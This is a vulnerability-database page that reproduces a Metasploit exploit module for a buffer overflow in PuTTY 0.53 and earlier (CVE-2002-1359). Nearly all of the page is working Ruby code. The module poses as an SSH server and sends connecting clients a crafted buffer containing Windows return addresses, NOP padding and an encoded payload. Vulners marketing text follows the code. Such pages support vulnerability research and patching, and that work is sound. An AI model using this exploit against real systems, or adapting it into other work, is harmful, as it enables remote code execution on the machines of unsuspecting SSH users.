Lucene search
K

PuTTy.exe <= 0.53 - Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PuTTy.exe v0.53 Buffer Overflow in SSH client that triggers a validation error in SSH.

Code

                                                ##
# $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;PuTTy.exe &#60;= v0.53 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a buffer overflow in the PuTTY SSH client that is triggered
				through a validation error in SSH.c.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9525 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2002-1359&#39; ],
					[ &#39;OSVDB&#39;, &#39;8044&#39;],
					[ &#39;URL&#39;, &#39;http://www.rapid7.com/advisories/R7-0009.html&#39; ],
					[ &#39;BID&#39;, &#39;6407&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 400,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
					&#39;MaxNops&#39;  =&#62; 0,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows 2000 SP4 English&#39;, { &#39;Ret&#39; =&#62; 0x77e14c29 } ],
					[ &#39;Windows XP SP2 English&#39;,   { &#39;Ret&#39; =&#62; 0x76b43ae0 } ],
					[ &#39;Windows 2003 SP1 English&#39;, { &#39;Ret&#39; =&#62; 0x76aa679b } ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Dec 16 2002&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptPort.new(&#39;SRVPORT&#39;, [ true, &#34;The SSH daemon port to listen on&#34;, 22 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =
			&#34;SSH-2.0-OpenSSH_3.6.1p2\r\n&#34; +
			&#34;\x00\x00\x4e\xec\x01\x14&#34; +
			&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34; +
			&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde&#34; +
			(((((rand_text_alphanumeric(64)) + &#34;,&#34;) * 30) + rand_text_alphanumeric(64) + &#34;\x00\x00\x07\xde&#34;) * 2) +
			(((rand_text_alphanumeric(64)) + &#34;,&#34;) * 2) + rand_text_alphanumeric(21) +
			[target.ret].pack(&#39;V&#39;) + make_nops(10) + p.encoded +
			(((rand_text_alphanumeric(64)) + &#34;,&#34;) * 15) + rand_text_alphanumeric(64) + &#34;\x00\x00\x07\xde&#34; +
			(((rand_text_alphanumeric(64)) + &#34;,&#34;) * 30) + rand_text_alphanumeric(64) + &#34;\x00\x00\x07\xde&#34; +
			(((rand_text_alphanumeric(64)) + &#34;,&#34;) * 21) + rand_text_alphanumeric(64) + &#34;\x00\x00\x07\xde&#34; +
			(((((rand_text_alphanumeric(64)) + &#34;,&#34;) * 30) + rand_text_alphanumeric(64) + &#34;\x00\x00\x07\xde&#34;) * 6) +
			&#34;\x00\x00\x00\x00\x00\x00&#34;

		print_status(&#34;Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...&#34;)

		client.put(buffer)
		handler

		service.close_client(client)
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation